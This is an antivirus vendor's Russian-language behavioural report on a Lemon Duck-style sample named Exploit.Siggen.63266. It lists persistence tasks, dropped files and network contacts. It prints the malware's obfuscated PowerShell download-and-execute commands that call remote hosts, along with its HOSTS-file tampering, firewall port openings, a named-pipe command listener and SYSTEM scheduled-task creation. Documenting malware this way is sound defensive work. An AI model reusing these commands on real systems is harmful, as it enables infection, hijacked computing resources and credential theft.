Exploit.Siggen.63266

Техническая информация

Для обеспечения автозапуска и распространения

Создает или изменяет следующие файлы

<SYSTEM32>\tasks\63rtuqnxgjs
<SYSTEM32>\tasks\i26mdy\uhramyp
<SYSTEM32>\tasks\microsoft\windows\5jbr96uuk\mxekgszbi
<SYSTEM32>\tasks\fu3nsaoyo6
<SYSTEM32>\tasks\pdk9jl\ewgmr6cohp
<SYSTEM32>\tasks\microsoft\windows\65wagrzea49\m6avnqa
<SYSTEM32>\tasks\bluetea

Вредоносные функции

Запускает на исполнение

'<SYSTEM32>\netsh.exe' firewall add portopening tcp 65529 SDNSd

Запускает на исполнение (эксплоит)

'<SYSTEM32>\cmd.exe' /c powershell IE`x(Ne`w-Obj`ect Net.WebC`lient)."DownLoadString"('http://t.##cna.com/mail.jsp?1*#################

Изменения в файловой системе

Создает следующие файлы

%TEMP%\7ufndwh1x5opdy1.sct
%WINDIR%\temp\csca7c7.tmp
%WINDIR%\temp\resa7d8.tmp
%WINDIR%\temp\n9q8s2x8.dll
%WINDIR%\temp\g_mnjc-k.0.cs
%WINDIR%\temp\g_mnjc-k.cmdline
%WINDIR%\temp\n9q8s2x8.out
%WINDIR%\temp\n9q8s2x8.pdb
%WINDIR%\temp\g_mnjc-k.out
%WINDIR%\temp\resd10b.tmp
%WINDIR%\temp\g_mnjc-k.dll
%WINDIR%\temp\mimi.dat
%WINDIR%\temp\wfree.bin
%WINDIR%\temp\aw0lwqgd.0.cs
%WINDIR%\temp\g_mnjc-k.pdb
%WINDIR%\temp\cscd0fa.tmp
%WINDIR%\temp\n9q8s2x8.cmdline
%WINDIR%\temp\n9q8s2x8.0.cs
%WINDIR%\temp\jr1sfqhi.dll
%WINDIR%\temp\2jbqcfju.cmdline
%WINDIR%\temp\2jbqcfju.out
%WINDIR%\temp\2jbqcfju.pdb
%WINDIR%\temp\csc9790.tmp
%WINDIR%\temp\if.bin
%WINDIR%\temp\res97b0.tmp
%WINDIR%\temp\2jbqcfju.0.cs
%WINDIR%\temp\m6.bin
%WINDIR%\temp\jr1sfqhi.0.cs
%WINDIR%\temp\jr1sfqhi.cmdline
%WINDIR%\temp\jr1sfqhi.out
%WINDIR%\temp\jr1sfqhi.pdb
%WINDIR%\temp\csc6281.tmp
%WINDIR%\temp\res6292.tmp
%WINDIR%\temp\2jbqcfju.dll
%WINDIR%\temp\aw0lwqgd.cmdline
%WINDIR%\temp\aw0lwqgd.out

Удаляет следующие файлы

%WINDIR%\temp\res97b0.tmp
%WINDIR%\temp\g_mnjc-k.cmdline
%WINDIR%\temp\g_mnjc-k.0.cs
%WINDIR%\temp\g_mnjc-k.pdb
%WINDIR%\temp\cscd0fa.tmp
%WINDIR%\temp\resd10b.tmp
%WINDIR%\temp\n9q8s2x8.0.cs
%WINDIR%\temp\n9q8s2x8.dll
%WINDIR%\temp\n9q8s2x8.pdb
%WINDIR%\temp\n9q8s2x8.cmdline
%WINDIR%\temp\n9q8s2x8.out
%WINDIR%\temp\csca7c7.tmp
%WINDIR%\temp\resa7d8.tmp
%WINDIR%\temp\jr1sfqhi.0.cs
%WINDIR%\temp\jr1sfqhi.dll
%WINDIR%\temp\jr1sfqhi.cmdline
%WINDIR%\temp\jr1sfqhi.out
%WINDIR%\temp\jr1sfqhi.pdb
%WINDIR%\temp\csc6281.tmp
%WINDIR%\temp\res6292.tmp
%WINDIR%\temp\2jbqcfju.0.cs
%WINDIR%\temp\2jbqcfju.dll
%WINDIR%\temp\2jbqcfju.out
%WINDIR%\temp\2jbqcfju.cmdline
%WINDIR%\temp\2jbqcfju.pdb
%WINDIR%\temp\csc9790.tmp
%WINDIR%\temp\g_mnjc-k.dll
%WINDIR%\temp\g_mnjc-k.out

Изменяет файл HOSTS.

Сетевая активность

TCP

Запросы HTTP GET

http://t.##cna.com/mail.jsp?1*###############
http://t.##cna.com/x.js
http://t.##cna.com/x.jsp?ma#########################################################################################################
http://t.##cna.com/report.jsp?ae#################################################################################################################################################################...
http://20#.#54.225.82/if_mail.bin?ae#############################################################################################################################################################...
http://20#.#54.225.82/if.bin?ae###############################################################
http://20#.#54.225.82/m6.bin?ae###############################################################
http://fd###h4ya5w.jp/w.js
http://fd###h4ya5w.jp/w.jsp?ma##########################################################################################################
http://20#.#54.225.82/mimi.dat?v=##########
http://20#.#54.225.82/wfree.bin?v=##########
http://12#.#.0.1:43669/1/summary

'lp##.ackng.com':443

UDP

DNS ASK t.##cna.com
DNS ASK t.##2q.com
DNS ASK t.##ynx.com
DNS ASK lp##.ackng.com
DNS ASK si###79h3.cn
DNS ASK cw###dpehao.kr

Другое

Создает и запускает на исполнение

'<SYSTEM32>\cmd.exe' /c powershell IE`x(Ne`w-Obj`ect Net.WebC`lient)."DownLoadString"('http://t.##cna.com/mail.jsp?1*#################' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RESD10B.tmp" "%WINDIR%\Temp\CSCD0FA.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\g_mnjc-k.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RESA7D8.tmp" "%WINDIR%\Temp\CSCA7C7.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\n9q8s2x8.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RES6292.tmp" "%WINDIR%\Temp\CSC6281.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\jr1sfqhi.cmdline"' (со скрытым окном)
'<SYSTEM32>\cmd.exe' powershell -c $pipe=new-object System.IO.Pipes.NamedPipeServerStream('\\.\pipe\HHyeuqi7');$pipe.WaitForConnection();$sr=new-object System.IO.StreamReader($pipe);$cmd=$sr.ReadToEnd();$sr.Dispose...' (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='MicroSoft\Windows\65wagRZEA49\m6AVnQa';$x='CwvPK'+'DpEHAo.kr';[Net.Dns]::GetHostAddresses('t.amy'+'nx.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\e...' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RES97B0.tmp" "%WINDIR%\Temp\CSC9790.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\2jbqcfju.cmdline"' (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='PdK9JL\eWgMr6cohP';$x='fDFne'+'H4ya5W.jp';[Net.Dns]::GetHostAddresses('t.awc'+'na.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$y='http://...' (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='\fu3NsAoYO6';$x='SIjNe'+'79h3.cn';[Net.Dns]::GetHostAddresses('t.tr2'+'q.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$y='http://'+#x+'/w....' (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='MicroSoft\Windows\5JBr96Uuk\mXEKGSZbI';$x='t.amy'+'nx.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security...' (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='I26mdY\uHRAmYp';$x='t.awc'+'na.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.Cryptography.MD5]::Cre...' (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='\63RTUqnxgJS';$x='t.tr2'+'q.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.Cryptography.MD5]::Create...' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\aw0lwqgd.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RES76A2.tmp" "%WINDIR%\Temp\CSC7691.tmp"' (со скрытым окном)

Запускает на исполнение

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' IE`x(Ne`w-Obj`ect Net.WebC`lient)."DownLoadString"('http://t.##cna.com/mail.jsp?1*#################
'<SYSTEM32>\schtasks.exe' /run /tn MicroSoft\Windows\65wagRZEA49\m6AVnQa
'<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 120 /tn bluetea /F /tr bluetea
'<SYSTEM32>\schtasks.exe' /delete /tn Rtsa2 /F
'<SYSTEM32>\schtasks.exe' /delete /tn Rtsa1 /F
'<SYSTEM32>\schtasks.exe' /delete /tn Rtsa /F
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='MicroSoft\Windows\65wagRZEA49\m6AVnQa';$x='CwvPK'+'DpEHAo.kr';[Net.Dns]::GetHostAddresses('t.amy'+'nx.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\e...
'<SYSTEM32>\cmd.exe' powershell -c $pipe=new-object System.IO.Pipes.NamedPipeServerStream('\\.\pipe\HHyeuqi7');$pipe.WaitForConnection();$sr=new-object System.IO.StreamReader($pipe);$cmd=$sr.ReadToEnd();$sr.Dispose...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c $pipe=new-object System.IO.Pipes.NamedPipeServerStream('\\.\pipe\HHyeuqi7');$pipe.WaitForConnection();$sr=new-object System.IO.StreamReader($pipe);$cmd=$sr.ReadToEnd();$sr.Dispose();$pipe.Di...
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\jr1sfqhi.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RES6292.tmp" "%WINDIR%\Temp\CSC6281.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\n9q8s2x8.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RESA7D8.tmp" "%WINDIR%\Temp\CSCA7C7.tmp"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -s -NoLogo -NoProfile
'<SYSTEM32>\cmd.exe' /c netsh.exe firewall add portopening tcp 65529 SDNSd
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\g_mnjc-k.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RESD10B.tmp" "%WINDIR%\Temp\CSCD0FA.tmp"
'<SYSTEM32>\sc.exe' Config xWinWpdSrv Start= Disabled
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\aw0lwqgd.cmdline"
'<SYSTEM32>\sc.exe' Stop xWinWpdSrv
'<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn MicroSoft\Windows\65wagRZEA49\m6AVnQa /F /tr "powershell PS_CMD"
'<SYSTEM32>\netsh.exe' interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RES97B0.tmp" "%WINDIR%\Temp\CSC9790.tmp"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='PdK9JL\eWgMr6cohP';$x='fDFne'+'H4ya5W.jp';[Net.Dns]::GetHostAddresses('t.awc'+'na.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$y='http://...
'<SYSTEM32>\attrib.exe' -R <DRIVERS>\etc\hosts
'<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn \63RTUqnxgJS /F /tr "powershell PS_CMD"
'<SYSTEM32>\schtasks.exe' /run /tn \63RTUqnxgJS
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='\63RTUqnxgJS';$x='t.tr2'+'q.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.Cryptography.MD5]::Create...
'<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn I26mdY\uHRAmYp /F /tr "powershell PS_CMD"
'<SYSTEM32>\schtasks.exe' /run /tn I26mdY\uHRAmYp
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='I26mdY\uHRAmYp';$x='t.awc'+'na.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.Cryptography.MD5]::Cre...
'<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn MicroSoft\Windows\5JBr96Uuk\mXEKGSZbI /F /tr "powershell PS_CMD"
'<SYSTEM32>\schtasks.exe' /run /tn MicroSoft\Windows\5JBr96Uuk\mXEKGSZbI
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='MicroSoft\Windows\5JBr96Uuk\mXEKGSZbI';$x='t.amy'+'nx.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security...
'<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn \fu3NsAoYO6 /F /tr "powershell PS_CMD"
'<SYSTEM32>\cmd.exe' /c powershell -c "try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='df5c8f7677a3361d17cc1ba820436ce9';$ifp=$env:tmp+'\if.bin';$down_url='http...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='df5c8f7677a3361d17cc1ba820436ce9';$ifp=$env:tmp+'\if.bin';$down_url='http://20#.###.225...
'<SYSTEM32>\schtasks.exe' /run /tn \fu3NsAoYO6
'<SYSTEM32>\cmd.exe' /c powershell -c "try{$localMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalMn',[ref]$localMn)}catch{};$ifmd5='5b2849ff2e8c335dcc60fd2155b2d4d3';$ifp=$env:tmp+'\m6.bin';$down_url='http...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "try{$localMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalMn',[ref]$localMn)}catch{};$ifmd5='5b2849ff2e8c335dcc60fd2155b2d4d3';$ifp=$env:tmp+'\m6.bin';$down_url='http://20#.###.225...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='\fu3NsAoYO6';$x='SIjNe'+'79h3.cn';[Net.Dns]::GetHostAddresses('t.tr2'+'q.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$y='http://'+#x+'/w....
'<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn PdK9JL\eWgMr6cohP /F /tr "powershell PS_CMD"
'<SYSTEM32>\schtasks.exe' /run /tn PdK9JL\eWgMr6cohP
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\2jbqcfju.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RES76A2.tmp" "%WINDIR%\Temp\CSC7691.tmp"

Технологии

Термины

Обучение и просвещение

Мифы

Техническая информация

Рекомендации по лечению

Демо бесплатно на 14 дней